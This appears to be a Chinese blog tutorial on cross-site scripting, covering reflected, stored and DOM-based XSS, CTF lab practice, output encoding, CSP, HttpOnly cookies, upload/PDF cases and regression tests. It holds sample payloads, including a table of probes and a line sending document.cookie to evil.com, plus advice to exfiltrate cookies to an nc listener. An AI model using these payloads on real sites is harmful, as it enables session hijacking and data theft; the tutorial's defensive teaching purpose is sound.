XSS攻击原理与防御:从信任边界到三层防护体系
2026/9/24 19:07:50 网站建设 项目流程

1. XSS 攻击的本质:这不是一个注入问题,而是一个信任边界问题

做前端这几年,我见过太多把 XSS 当"小事"的团队。问起来都是"我们做了输入过滤呀",结果呢?攻击者在 URL 参数里塞一段 payload,或者在某评论区贴个链接,管理员后台一打开,会话 Token 直接被带走。这事发生在谁身上,谁才知道疼。

XSS(Cross-Site Scripting,跨站脚本攻击)从名字看像是"跨站"的问题,但追到根子上,它是个信任边界问题——你信任了不该信任的数据,并且把这份信任传递给了浏览器。浏览器看到一个<script>标签,它的本能是执行,因为 HTML 规范就是这么定义的。问题从来不出在浏览器身上,出在我们把"用户输入"和"可执行代码"放进了同一个渲染上下文。

我习惯用一句话跟刚入行的同事解释这个概念:XSS 就是"外部数据越过了代码和数据的边界"。我们写前端代码时,模板里的变量、DOM 属性、URL 参数,这些都是"数据通道"。数据本身是无害的,但某些数据会被浏览器当作"代码"来解释。攻击者要做的,就是找到一条通道,让他们的数据以代码的形式被执行。

理解这一点非常重要,因为防御思路全由它推导出来——不是"过滤脏数据",而是确保数据永远以数据的身份出现在页面上。这两句话听起来差不多,实际执行起来天差地别。

下面是三个典型攻击类型,也是所有 CTF 靶场和高危漏洞报告里的常客。

1.1 反射型 XSS:数据走了一趟服务端,又原样弹回来

反射型 XSS 的完整链路是这样的:攻击者构造一个恶意 URL,诱导受害者点击。这个 URL 里带着 payload(比如?q=<script>...</script>),服务端收到请求后,把参数里的内容拼进 HTML 响应并返回,浏览器解析这个响应,payload 被当作脚本执行。整个过程里 payload"反射"了一下,没有落库,所以叫反射型。

举个例子,一个搜索页的代码可能长这样:

// 后端伪代码 router.get('/search', (req, res) => { const keyword = req.query.q; res.send(`<p>您搜索的关键词是:${keyword}</p>`); });

如果用户访问:

/search?q=<script>alert(document.cookie)</script>

服务端返回的 HTML 里就会包含一个真正的<script>标签,浏览器直接执行。这个例子里只是弹个窗,但换成窃取 Cookie、伪造请求,危害立刻放大。

反射型 XSS 通常需要诱骗用户点击链接才能触发,所以有些人觉得"危害一般"。这么说吧,攻击者可以做足伪装——短链接、二维码、钓鱼邮件里嵌一张图,图片地址就是恶意链接。配合一些浏览器特性利用,命中率并不低。在测试环节,反射型是 OWASP ZAP 这类自动化工具扫得最凶的一类,因为它不需要登录态,只要入口参数可反射,就能直接验证。

1.2 存储型 XSS:payload 落库,谁看谁中招

存储型 XSS 的链路比反射型多了一个环节:payload 被持久化存储。攻击者在评论区、昵称、个人简介、反馈表单等位置提交恶意内容,服务端把它存进数据库。之后任何用户(包括管理员)打开包含这段内容的页面,脚本就被执行。

打个比方,反射型 XSS 相当于有人在你门口喊了一句咒语,你走出去才听到;存储型 XSS 相当于有人在你的饮水机里下了毒,谁接水谁喝。存储型的可怕之处在于:它不需要定向诱导,一次提交,长期生效,且受害者范围不可控

我在实际项目里见过一个典型事故:某个后台管理系统的日志模块,把用户操作记录里的 User-Agent 字段原样输出到管理页面的表格里。攻击者把 UA 改成一段 payload,管理员查看日志时脚本执行,会话直接被劫持。UA 这种字段,很少有人会当成"攻击面",但它就是存储型 XSS 的完美载体——因为它在输出时没有做任何处理。

1.3 DOM 型 XSS:服务端还不知道发生了什么,前端已经遭了

DOM 型 XSS 跟反射型、存储型最大的区别是:payload 不经过服务端拼接,整个过程都在浏览器本地完成。攻击者构造 URL,JavaScript 读取 URL 参数,然后用某个操作把内容写进 DOM——常见于document.writeinnerHTMLlocation.hash等 API。

一个典型的错误写法:

const name = new URLSearchParams(location.search).get('name'); document.getElementById('welcome').innerHTML = '欢迎你,' + name;

当 URL 是/?name=<img src=x onerror=alert(1)>时,innerHTML会把这段内容当作 HTML 解析,onerror事件触发脚本执行。整个过程里,请求甚至不需要发到服务端,后端日志里完全查不到痕迹。

DOM 型 XSS 检测难度高,因为服务端扫不到,必须在前端运行环境里才能发现。这也是为什么很多人觉得 DOM XSS 比反射型"高级",但它本质还是同一个问题——数据被放进了 HTML 上下文。

2. 攻击面盘点:CTF 靶场里藏着真实业务的漏洞镜像

热词里出现了一串靶场名字:DVWA、Pikachu、CTFShow、CTFHub。很多刚接触安全的开发者会问,刷这些靶场到底对实际工作有没有用?我的看法是:靶场的题目设计虽然相对简单,但它在真实业务里几乎都有对应镜像。把靶场里踩过的每一种输入输出场景,映射到自己的项目代码里,基本就能摸清攻击面。

2.1 攻击者最先碰的入口,往往是你最不在意的字段

拿 DVWA 的 XSS 题目来说,低级难度就是一个输入框加一个按钮,payload 提交后直接回显。映射到真实业务,这类入口无处不在:

  • 搜索框:关键词回显在结果页
  • 表单字段:用户名、手机号、邮箱、地址,提交后显示在"个人中心"或"订单详情"
  • URL 参数:分享链接、邀请码、活动 ID
  • 上传文件的原始文件名:上传一张图片,文件名里有特殊字符
  • HTTP 头:User-Agent、Referer、X-Forwarded-For 被记录并展示
  • 富文本内容:编辑器输出的 HTML,最终原样插入页面

这些入口里,搜索框和 URL 参数最容易被发现,也最多人做防护;而User-Agent、文件名、富文本内容,属于"信息的输入输出链条长、中间环节多"的地方,最容易出现折算

CTFHub 技能树里 XSS 那部分有一道题,考察的是从 URL 读取参数后写入 DOM,这对应的是前端路由开发中用location.searchlocation.hash传参的场景。很多 SPA 应用里,路由参数会被直接当成组件状态渲染进模板,稍不注意就把参数丢进了v-htmldangerouslySetInnerHTML

2.2 靶场思维和工程思维的差距在哪里

刷过 CTF 的人都会有这种感觉:靶场是一个"确认漏洞成立"的地方,你只要弹出 alert(1) 就算通关。但真实项目不一样,你要做的是在庞大的代码库里找到所有可能存在同类问题的位置,并提供一个可维护的、不牺牲业务效率的修复方案

这里我分享一个我在代码审计中常用的"三个扫描点"方法:

拿一张纸(或者思维导图),把项目中所有"动态内容插入页面"的位置列出来。至少覆盖以下三类:

插入方式涉及的 API/属性风险级别
HTML 插入innerHTMLdocument.writeouterHTMLinsertAdjacentHTML
属性插入setAttributehrefsrcstyle高,某些属性可被利用(如href=javascript:
文本插入textContentinnerText、模板引擎默认插值(如 Vue 的{{ }}低,但也要确认没有绕过

扫描完这张表,再去对照框架的转义机制,就基本能定位出"有坑"的位置。

2.3 从"攻击者的视角"重新理解你的参数

我经常跟团队说一句话:写代码的时候,默认进入页面的每一个外部数据都是恶意数据。这不是矫枉过正,而是一种安全的思维方式。

举一个实际案例:某个后端返回一段 JSON,其中nickname字段是用户在控制台自己设置的。代码渲染的时候这样写:

userCard.innerHTML = `<div class="nickname">${user.nickname}</div>`;

"用户自己设置的,有什么问题?"有。如果用户设置的昵称是:

</div><script>fetch('https://evil.com/?cookie=' + document.cookie)</script>

那所有打开这个用户主页的人,Cookie 都会被发送到攻击者的服务器。这里的信任假设是"用户不会攻击自己",但这个页面是公开的,其他人也会访问。信任边界被打破了。

3. 防御体系搭建:输出编码、CSP 与 HttpOnly 的三层防线

XSS 的防御不是某一个单独动作能搞定的。很多团队问我"用哪个过滤器就够了",我的答案永远是:没有银弹,你需要的是纵深防御。就像防盗门、小区门禁、室内监控是三道不同维度的防线一样,XSS 防御体系中,输出编码、CSP、HttpOnly Cookie 分别解决不同环节的问题。

但防御前先对攻击路径做个自检:你能确认进入页面的每个数据都经过了正确的编码处理吗?不能的话,即使上了 100 个过滤器,总有漏网之鱼。所以团队自动化测试和代码审计一定要有,这个我们放到第 5 章专门讲。

3.1 输出编码:在数据进入 HTML 之前就把它"变成纯文本"

先明确一个概念:存储型 XSS 的修复不能靠输入过滤来根治,最终是为了"输出无害化"

怎么理解?攻击者在评论里提交<script>,你可以在服务端拦截掉。但是用户提交&lt;img src=x onerror=alert(1)&gt;这种情况怎么办?它会被 HTML 实体解码渲染成一个图片标签,同样触发脚本。所以,对存储型来说,"拦截恶意输入"很容易被绕过,正确的做法是在输出时对所有用户可控内容做上下文感知的编码

这里需要强调的是"上下文感知",因为 HTML 里不同位置的编码规则是不一样的:

  • 插入在 HTML 元素内容中(如<p>{数据}</p>),需要 HTML 实体编码:<转成&lt;>转成&gt;&转成&amp;,引号转成&#39;&quot;
  • 插入在 HTML 属性值中(如<input value="{数据}">),除了 HTML 实体编码,还需要处理引号,防止逃逸出属性值
  • 插入在 JavaScript 字符串中(如var x = "{数据}";),需要 JS 编码,把\'"、换行符都转义
  • 插入在 URL 中(如href="{数据}"),需要 URL 编码,同时要协查javascript:等伪协议

用框架帮你处理是最省心的。Vue 模板的{{ }}、React 的{text},默认都是转义输出。风险往往出现在开发者为图省事,主动用了不安全的 API:

框架安全用法高危用法
Vue{{ data }}v-html="data"
React{data}dangerouslySetInnerHTML={{ __html: data }}
jQuery.text(data).html(data)

如果在项目中确实需要渲染富文本(比如文章、公告),可以考虑使用专门的富文本 Sanitizer 库,对imgastrong这类白名单标签放行,但去掉所有事件属性onerroronclick等)和javascript:伪协议。千万不要自己写正则去"过滤<script>",正则很容易被各种编码和大小写绕过,我试过太多次了,坑踩得特别深。

3.2 CSP(内容安全策略):给浏览器设定一个"只允许执行这些脚本"的规则

输出编码是应用层的第一道防线,但总会有漏网之鱼,比如某个第三方库内部用了innerHTML,或者某个老旧的 DOM API 在框架之外被调用。这时候要想再兜一层底,就轮到 CSP 上场。

CSP 是一个 HTTP 响应头,它告诉浏览器:这个页面只能加载和执行哪些来源的脚本,是否允许内联脚本,是否允许eval()。我推荐一个基础的策略:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

这套策略的含义是:脚本只能从同源地址加载,不允许内联脚本,不允许eval,不允许插件对象。如果攻击者注入了一段<script>alert(1)</script>,浏览器会直接拦截执行,并且控制台会报错。

但 CSP 并不是配置了就能立刻用的,它有一个"排雷"的过程。现实中的项目往往用到了内联脚本(比如 Google Analytics、性能监控 SDK)、eval(某些老版本的 webpack devtool)、CDN 上的第三方库,一上 CSP 全挂了。所以落地策略建议分两步:

  1. 先发布一个宽松的策略,模式设为"报告"而不是"拦截":
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
  1. 观察一段时间上报日志,把确认为合法的脚本来源加进白名单(比如script-src 'self' https://cdn.example.com 'nonce-xxxx'),再把策略切换成强制拦截。

这里有一个关键点:CSP 的script-src如果没有配合 nonce 或 hash,内联脚本一律禁掉。有些团队为图省事,会在策略里加'unsafe-inline',这一加,等于把大门打开了一半。非必要不要用。

3.3 HttpOnly Cookie:让脚本读不到你的会话凭证

XSS 攻击者最常见的利用方式是窃取用户的 Cookie,尤其是会话标识。一旦拿到会话 ID,攻击者就能冒充用户登录态,做各种事情。而 HttpOnly 这个 Cookie 属性,就是专门用来堵这条路的:设置了 HttpOnly 的 Cookie,document.cookie读不到它。

服务端设置 Cookie 时,加一个标志位就行:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

这里的含义结合来看:

  • HttpOnly:脚本无法通过document.cookie读取
  • Secure:只在 HTTPS 连接中传输
  • SameSite=Lax:限制跨站请求携带 Cookie,对 CSRF 也有一定的防御效果

有了 HttpOnly,即使页面被注入了脚本,攻击者也无法直接读取会话 Cookie,只能退而求其次去窃取其他信息、构造同源请求等,利用难度大幅提升。

但是要注意:HttpOnly 不是 XSS 的防御措施,它只是"降低 XSS 危害"的措施。不能因为加了 HttpOnly 就放松编码和 CSP。我用一个比喻,输出编码和 CSP 是"不让小偷进屋",HttpOnly 是"把银行卡锁在保险柜里"。保险柜再好,小偷进屋了终究是个麻烦。

4. 文件上传与 PDF 场景的 XSS 处理:一个被低估的高危入口

说一个很多团队压根没意识到的问题:文件上传模块。热词里频繁出现"文件上传 XSS 修复""Spring Boot 全局过滤器处理上传 PDF 的 XSS 攻击处理",这不是偶然,而是真实踩坑的人太多了。

常规的理解是"上传的文件有木马怎么办",于是大家盯紧上传文件本身的病毒扫描和类型校验。但 XSS 的视角是完全不同的:问题不在文件内容,而在于浏览器如何解释你返回给它的响应

4.1 上传文件导致 XSS 的两种攻击路径

第一种:上传一个 HTML 或者 SVG 文件,然后直接通过 URL 访问它。比如攻击者上传了一个名为evil.html的文件,内容是一段窃取 Cookie 的脚本。如果应用没有对上传目录做响应头控制,浏览器访问/uploads/evil.html时,就会把文件内容当作当前站点源下的 HTML 来解析,脚本自然能够执行。这里的关键是:浏览器判定脚本是否可信,看的不是文件是谁传的,而是它在哪个域下面。脚本一旦在https://your-app.com/uploads/evil.html下执行,它就可以读取同源 Cookie。

第二种,上传"看起来无害"的图片或 PDF,但是文件的元数据里藏了 payload。SVG 本质上就是 XML 文本文档,天然可以包含<script>标签。PDF 文件如果是在服务端由用户输入动态拼接生成的,字段内容没有做处理,生成的 PDF 里就可能带上可以被 PDF 阅读器执行的 JavaScript。注意,这里要区分场景:如果 PDF 是二进制原样上传,下载而不是在线预览,危害相对可控;但如果你的业务是"用户填表单→后端生成 PDF→浏览器预览",那字段内容直接拼接进 PDF,就是一个妥妥的存储型 XSS,只是在 PDF 容器里执行。

4.2 Spring Boot 全局过滤器处理 XSS 的常见方案与误区

针对上传入口,Spring Boot 项目中很常见的做法是写一个全局过滤器,用XSSFilter拦截请求,对参数值做清理。但很多团队会在上传 PDF 文件时踩坑:过滤器只处理了文本参数,没有处理文件输入流里的内容

热词里提到的场景,我推测是这样一种情况:文件本身是 PDF,但攻击者会在 PDF 的元数据字段(标题、作者)里插入 XSS payload,然后系统解析 PDF 内容并把元数据显示在网页上,或者后端在生成 PDF 摘要时直接把原字段拼接进 HTML。

针对这类场景,我给出一个相对完整的处理思路:

  1. 对上传文件的类型做严格校验。不只检查文件扩展名,还要用文件头(Magic Number)校验实际类型。比如 PDF 必须以%PDF-开头,图片要根据 JPEG/PNG 的二进制签名判断。
public boolean isPdf(MultipartFile file) { byte[] header = new byte[4]; try (InputStream is = file.getInputStream()) { is.read(header, 0, 4); } catch (IOException e) { return false; } // PDF 文件头为 %PDF return header[0] == '%' && header[1] == 'P' && header[2] == 'D' && header[3] == 'F'; }
  1. 对文件内容做 XSS 扫描。不要试图用正则"删掉恶意标签",这样永远会有绕过。更稳妥的方案是:用专业的解析库把 PDF 解析成纯文本,只提取白名单内的字段,然后对文本字段做输出编码。比如使用Apache PDFBox读取元数据,把拿到的 title、author 等字段交给前端渲染时按文本处理。

  2. 对上传目录统一设置响应头。如果业务上允许用户直接通过 URL 访问上传的静态文件,务必在响应头加上:

Content-Security-Policy: default-src 'none'; sandbox X-Content-Type-Options: nosniff Content-Disposition: attachment; filename=download
  • sandbox会禁用脚本执行
  • nosniff告诉浏览器不要猜测 MIME 类型,防止浏览器把上传的图片当作 HTML 解析
  • attachment会让浏览器强制下载而不是内联预览,这对非预览类文件是最强的保险

4.3 全局过滤器本身不是银弹,别忽略文件上传的"旁路"

Spring Boot 项目里还有一种常见的套路:写一个 Filter,对所有请求的参数做 XSS 清理。这种方案的优点是接入成本低,缺点也明显:

  • 它只能处理请求参数(query string 和 form body),处理不了 JSON 的嵌套结构,除非你专门写一个RequestBodyAdvice对 body 做反序列化后再清洗
  • 它对文件上传的 multipart 流无能为力
  • 过度清洗会伤及正常业务,比如用户提交的文章内容里有合法的<b>标签,被过滤器一刀切掉
  • 安全性反而是最薄弱的:依赖你自己维护的拦截规则,总会有没写到的攻击变种

所以我把全局过滤器的定位放在"兜底"而不是"主力"。主力永远是:框架的模板转义、CSP 策略、上下文感知的输出编码。过滤器的存在价值是给那些"还没来得及整改但已上线"的历史接口做一层临时保护,它不该是长期方案。

5. 修复验证与回归测试:改了不等于修好了

踩过的坑里,最常见的一种是:"我们加了个过滤器,XSS 应该修好了吧?" 然后上线第二天就被安全团队用新的 payload 打穿。

XSS 修复的正确姿势是:修完不靠嘴证明,靠测试证明。这里的测试不仅是自动化用例,还包括一套手动的演练清单。

5.1 手动验证的 payload 清单

在验证 XSS 是否存在时,不要一上来就弹alert(1),那样太粗粒度,无法定位具体绕过点。我日常会准备一组递进式的 payload,每个都服务于一个特定目的:

目的Payload 示例
验证是否 HTML 转义<script>alert(1)</script>
验证标签是否被白名单过滤<img src=x onerror=alert(1)>
验证属性上下文是否安全"><svg onload=alert(1)>
验证伪协议是否被拦截<a href="javascript:alert(1)">click</a>
验证 JS 上下文是否安全';alert(1);//
验证 DOM 型漏洞#"><img src=x onerror=alert(1)>

一个细节:alert(1)验证完,一定要换成一个没有弹窗的 payload 再验证一次,比如把 cookie 发到一个可控的服务器(本地起个nc -lvnp),确认真的能够外带数据。因为有些防御会拦截浏览器原生弹窗,但不会拦截网络请求。

5.2 自动化回归测试要覆盖的关键场景

如果项目有自动化测试体系,下面几个场景需要做成永久用例:

  • 搜索关键词包含<script>alert(1)</script>,页面返回的 HTML 里不允许出现原始的<script>标签(在响应文本级别断言)
  • 用户昵称包含"><svg onload=alert(1)>,个人中心页面的响应必须把引号正确编码为&quot;
  • 一个 URL 参数携带javascript:alert(1),渲染生成的<a>标签的href不允许以javascript:开头
  • 上传一个内容为<script>alert(1)</script>的 HTML 文件,访问上传后的 URL,响应必须带有Content-Disposition: attachmentsandbox响应头

这些用例可以直接用selenium或者playwright写 e2e 测试,也可以用简单的 HTTP 请求加正则断言。

5.3 修复过程中经常被忽视的四个细节

第一,响应头是 HTML,不是字符串拼接。有些团队做 XSS 防护喜欢写一个工具类,把<替换成&lt;,然后全项目套用。问题是,同一段数据放在 HTML 标签里、放在href里、放在 JS 变量里,需要的编码方式完全不同。一个"万能转义函数"要么过度转义要么转义不足。

第二,DOM 型 XSS 无法通过后端过滤器修复。前面提到的 DOM 型漏洞,因为攻击路径完全不经过服务端,你的全局过滤器再强大也拦不到。DOM 型 XSS 的修复只能在前端代码层面改:用textContent代替innerHTML,用URL 解析代替字符串拼接,用DOMPurify清洗非信任 HTML。

第三,富文本的"允许标签"列表需要定期审计。富文本场景里,就算用了白名单过滤,也要注意白名单自身的安全性。举个例子,允许a标签的href时,只过滤掉javascript:而没有 URL 标准化,攻击者可以用JaVaScRiPt:&#106;avascript:绕过。标准做法是:解析 URL,只允许http:https:协议。

第四,CSP 的 nonce 有缓存泄漏风险。如果用了 nonce 来允许合法内联脚本,要注意:nonce 一旦被页面源码输出,就不可复用了,必须在每次响应时重新生成;而且 nonce 不应出现在静态缓存文件里,否则等于把钥匙给了攻击者。

6. 一点总结之外的实践经验

最后分享一些我自己在实际排查中沉淀下来的习惯,不一定写在哪本教科书里,但非常管用。

拿到一个 XSS 漏洞报告,第一步不是看 payload,而是看触点链。数据从哪个接口进来,经过哪些存储和加工,最后在哪里被渲染出来。把这条链路画出来,你会发现自己对业务的理解会更深。我在团队内部做过一次"XSS 链路大排查",把项目中所有innerHTMLv-htmldangerouslySetInnerHTMLdocument.write都拉出来过了一遍,结果找出 7 处隐藏问题,其中 3 处是上线一年以上的老代码。

自己搭一个最小伤害的复现环境,比翻文档强得多。我本地一直保留一个 DVWA + Pikachu 的 Docker 环境,不是拿来刷题,而是拿来做"防御验证实验"。在某个修复方案上线前,我会先在靶场环境里跑一遍,确认编码函数在不同上下文里的表现,再搬回真实项目。这种方式比直接在测试环境反复试错效率高得多,因为靶场环境里数据是可控的,不会污染业务数据。

关注浏览器和框架的更新日志。XSS 的攻防是动态的,浏览器的新特性、第三方库的更新都有可能引入新的绕过方式。比如曾经有个阶段,某些浏览器对 MIME 的嗅探策略调整,使得nosniff之外又多了一层需要考虑的因素。定期跟踪 OWASP 的 XSS 预防速查表,更新自己的防御清单,是成本最低的"保持不落后"的方式。

工具可以帮你发现漏洞,框架可以帮你拦截大部分攻击,但真正决定系统安全水平的,还是对"数据与代码边界"这件事的理解程度。希望这篇内容,能让你在排查第一个 XSS 漏洞时,少走几步弯路。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询